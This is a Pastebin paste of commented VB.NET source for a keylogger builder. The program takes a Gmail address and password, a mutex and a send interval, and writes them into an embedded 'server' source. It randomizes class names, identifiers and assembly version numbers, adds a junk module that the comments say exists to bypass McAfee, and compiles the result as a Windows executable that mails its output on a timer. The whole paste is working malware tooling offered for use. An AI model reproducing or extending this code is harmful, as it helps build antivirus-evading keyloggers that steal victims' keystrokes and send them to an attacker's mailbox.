Advertisement
Guest User

Untitled

a guest
Aug 5th, 2015
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.45 KB | None | 0 0
  1. Imports System.IO, System.CodeDom.Compiler, System.Net.Mail
  2. Public Class Form1
  3. Dim Username, Password, Interval, Mutex, CreationPath, MainClassName, Source As String '[1] Declares some global variables we'll use later.
  4. Dim EmailMessage As New MailMessage() 'See above 1.
  5. Dim MailSendingClient As New SmtpClient() 'See above 1.
  6. Dim GlobalRand As New Random 'See above 1.
  7. Dim Q As Integer 'See above 1.
  8. Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
  9. Dim Rand As New Random 'Declares a new Random variable to generate the length of the string.
  10. Dim TheVariable As String = Nothing 'Declares a new String that will hold the random variable.
  11. Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 'Declares a new string, and stores all the possible characters that may be a part of the randomly generated variable.
  12. For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 'Repeats the following function until the random number of variables is met.
  13. Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 'Selects a random index position in PickAChar (random char in the listing)
  14. TheVariable += (CharactersToUse(PickAChar)) 'Takes whatever is already in TheVariable, then adds on the next random variable by reading what the random picked position was.
  15. Next 'After it's done looping through the #
  16. Return TheVariable 'Returns the randomized variable.
  17. End Function
  18. Function IsEverythingFilledOut()
  19. If TextBox1.Text = Nothing Or ComboBox1.Text = Nothing Or TextBox2.Text = Nothing Or TextBox3.Text = Nothing Or NumericUpDown1.Value <= 0 Then Return False 'Tells the program that some parts of the builder are not correctly filled out.
  20. Return True 'If everything is filled out, it'll just return true.
  21. End Function
  22. Sub SetVariablesFromControls()
  23. Username = TextBox1.Text & ComboBox1.Text 'Setting Variables.
  24. Password = TextBox2.Text 'Setting Variables.
  25. Mutex = TextBox3.Text 'Setting Variables.
  26. Interval = NumericUpDown1.Value * 60000 '1 minute = 60 seconds = 60,000 ms
  27. End Sub
  28. Sub GetSaveLocation()
  29. Dim FileSave As New SaveFileDialog 'Declares a save file dialog so the user can specify where to save the compiled file.
  30. With FileSave
  31. .InitialDirectory = Application.StartupPath 'Sets initial directory to the startup path of the application.
  32. .FileName = "*.exe" 'Filters so you can only save as a .exe, this can be modded to save as w/e file type you want.
  33. .DefaultExt = ".exe|*.exe" 'Sets default extension as .exe
  34. .Filter = "Executable Files .exe|*.exe" 'Filter.
  35. End With
  36.  
  37. If FileSave.ShowDialog = Windows.Forms.DialogResult.OK Then
  38. CreationPath = FileSave.FileName 'Sets the path that the user selected to save their server to to the 'CreationPath' string.
  39. CompileServerLikeABoss(CreationPath) 'Does. The. Work. Rawr. Also sets the save location to the location selected in the SaveFileDialog.
  40. Else : Exit Sub 'If the user hits cancel/'X', we exit the sub.
  41. End If
  42. End Sub
  43. Sub TestSMTPInformation() Handles FakeMultiThreader.DoWork 'Sets this subroutine as what is called when FakeMultiThreader.RunWorkerASync is used.
  44. Try
  45. With EmailMessage
  46. .From = New MailAddress(Username) 'Sets the 'From' email as the one entered on your builder.
  47. .To.Add(Username) 'Sets the 'To' email as the same as the 'From' address.
  48. .Subject = "Your SMTP information is valid!" 'Sets subject of the e-mail.
  49. .Body = "Classical Approves." 'Sets body of the e-mail.
  50. End With
  51.  
  52. With MailSendingClient
  53. .Host = "smtp.gmail.com" 'Sets the SMTP server to 'smtp.gmail.com' which is @gmail.com's SMTP server. You can Google smtp servers for any other @domains.
  54. .Port = 587 'Sets the mail sending port, don't change this; 587 is the most common outgoing smtp port. (Port 25 is 2nd most common, but becoming less and less).
  55. .EnableSsl = True 'Uses Secure Socket Layers to encrypt the operation.
  56. .Credentials = New System.Net.NetworkCredential(Username, Password) 'Sets the credentials of the 'From' by using the information in our builder, since the program needs to log in to the mail client in order to send the email.
  57. .Send(EmailMessage) 'Sends the nicely wrapped e-mail.
  58. End With
  59.  
  60. MsgBox("Your SMTP information is valid, a confirmation E-mail has been send!", 0 + 64, "Notice") 'Makes us feel good.
  61. Catch Fail As Exception
  62. MsgBox("Your information is NOT valid; bellow is a copy of the error that occured." & vbNewLine & vbNewLine & Fail.ToString, 0 + 16, "Error") 'Tells us there was a problem, then gives the un-edited error that was encountered.
  63. Exit Sub
  64. End Try
  65. End Sub
  66.  
  67. Sub CompileServerLikeABoss(ByVal SaveLocation As String)
  68. Q = 1
  69. MainClassName = RandomVariable(5, 20) 'Sets the MainClassName to a random variable between 5 and 20 chars in length.
  70. Source = My.Resources.TheSourceCode 'Sets the Source string to the un-edited version of the source code so we can replace our 'holders' with random strings.
  71. Source = Source.Replace("&1&", MainClassName) 'Replaces the placeholder '&1&' with the string we randomized above.
  72.  
  73. Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 'Sets a setting to compile the server w/ .net 2.0 dependency.
  74. Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 'Declaring our compiler, and telling it to compile with 'Version' setting. (.net 2.0 dependency)
  75.  
  76. Dim Settings As New CompilerParameters() 'To store the settings of our compiler in.
  77. With Settings 'Setting some Settings for the compiler.
  78. .GenerateExecutable = True 'We don't want to generate shit in our memory.
  79. .OutputAssembly = SaveLocation 'Sets the location of the output to the place you selected in your SaveFileDialog.
  80. .CompilerOptions = "/target:winexe" 'Tells the compiler to compile the code as a winexe file.
  81. .ReferencedAssemblies.Add("System.dll") 'Imports the System.dll library to the application on compile.
  82. .ReferencedAssemblies.Add("System.Windows.Forms.dll") 'Imports the System.Windows.Forms.dll library to the application on compile. (allows for controls to be declared in the codedom, such as timers)
  83. .MainClass = MainClassName 'Sets the mainclass of the compiled server to the string we randomized above. (Needs to remain the same).
  84. End With
  85.  
  86. Do While Q <= 40 'We take the integer Q, then use it to loop through all of our place holders that have [] around them.
  87. Source = Source.Replace("[" & Q & "]", RandomVariable(5, 30)) 'Replace each variable with a randomly generated string value from 5-30 characters.
  88. Q += 1 'Adds 1 on to Q so that next time it loops it does the next [] holder in the sequence.
  89. Loop
  90.  
  91. Q = 1 'Reset for next sequence.
  92.  
  93. Do While Q <= 28 'Same as above, only with &&.
  94. Source = Source.Replace("&" & Q & "&", RandomVariable(5, 30)) 'Same as above, only with &&. This is the randomized keyhook class.
  95. Q += 1 'Same as above, only with &&.
  96. Loop
  97.  
  98. Q = 1 'Reset for next sequence.
  99.  
  100. Do While Q <= 46 'Same as above, only with ^^.
  101. Source = Source.Replace("^" & Q & "^", RandomVariable(5, 30)) 'Same as above, only with ^^. This is actually randomized junk module to bypass McAfee.
  102. Q += 1 'Same as above, only with ^^.
  103. Loop
  104.  
  105. Source = Source.Replace("*email*", Username) 'Replacing the specific holder for our email with the email we're using.
  106. Source = Source.Replace("*pass*", Password) 'Same as above w/ password.
  107. Source = Source.Replace("*mutex*", Mutex) 'Same as above w/ mutex.
  108. Source = Source.Replace("*interval*", Interval) 'Same as above w/ sending interval.
  109.  
  110. Dim AssemblyInfo As String() = {"#res1#", "#res2#", "#res3#", "#res4#", "#res1a#", "#res2a#", "#res3a#", "#res4a#"} 'Declare a string array for randomizing our assembly file version/product version, since we only want numbers in them.
  111. For length As Integer = 0 To AssemblyInfo.Length - 1 'While the length of the array is in the bounds of the index, do the following:
  112. Source = Source.Replace(AssemblyInfo(length), GlobalRand.Next(0, 999)) 'Replace the given spot in the array I.E. If we're on spot 1, that'd be #res1#, with a randomly generated number from 0-999.
  113. Next
  114.  
  115. DebugCode(Source) 'Writes a copy of the un-compiled source code (after randomization) of your server to \debug.txt.
  116. Compiler.CompileAssemblyFromSource(Settings, Source) 'Compiles the code with all the settings stored in the "Settings" string from above.
  117.  
  118. MsgBox("Your server has been compiled succesfully!", 0 + 64, "Notice") 'Give yourself a pat on the back, it worked :D!
  119. End Sub
  120. Sub DebugCode(ByVal CodeBeingCompile As String)
  121. Dim Debugger As New StreamWriter(Application.StartupPath & "\debug.txt") 'Declares a new StreamWriter at the location of '\debug.txt'.
  122. Debugger.Write(CodeBeingCompile) 'Writes the given string to the .txt file, in our case this should be the randomized code.
  123. Debugger.Flush() 'Dispose of the used stuff.
  124. Debugger.Close() 'Close da b00k.
  125. End Sub
  126. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  127. TextBox3.Text = RandomVariable(15, 20) 'Generates a random variable between 5 and 20 characters in length.
  128. End Sub
  129. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  130. TextBox3.Text = RandomVariable(15, 20) 'Fills the mutex box with a random number on form load.
  131. End Sub
  132. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  133. If IsEverythingFilledOut() = True Then SetVariablesFromControls() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub 'Calls SetVariablesFromControls sub routine if everything is filled out, if not it throws and error and exits this sub routine.
  134. FakeMultiThreader.CancelAsync() 'Cancels any pending operations on the thread.
  135. Application.DoEvents() 'Makes sure they're canceled.
  136. FakeMultiThreader.RunWorkerAsync() 'Runs the commands under its handler, FakeMultiThread_DoWork.
  137. 'The reason for using a backgroundworker / multi threading is so that the form/gui doens't lag when you do stuff like compile/SMTP test, since it's all run on a different thread.
  138. End Sub
  139. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  140. If IsEverythingFilledOut() = True Then SetVariablesFromControls() : GetSaveLocation() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub
  141. 'Calls SetVariablesFromControls function, makes sure all the information is filled out.
  142. 'If it is, it moves on to GetSaveLocation => Leads to the actual server compile.
  143. 'If it's not, it throws an error and exits the sub routine.
  144. End Sub
  145. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement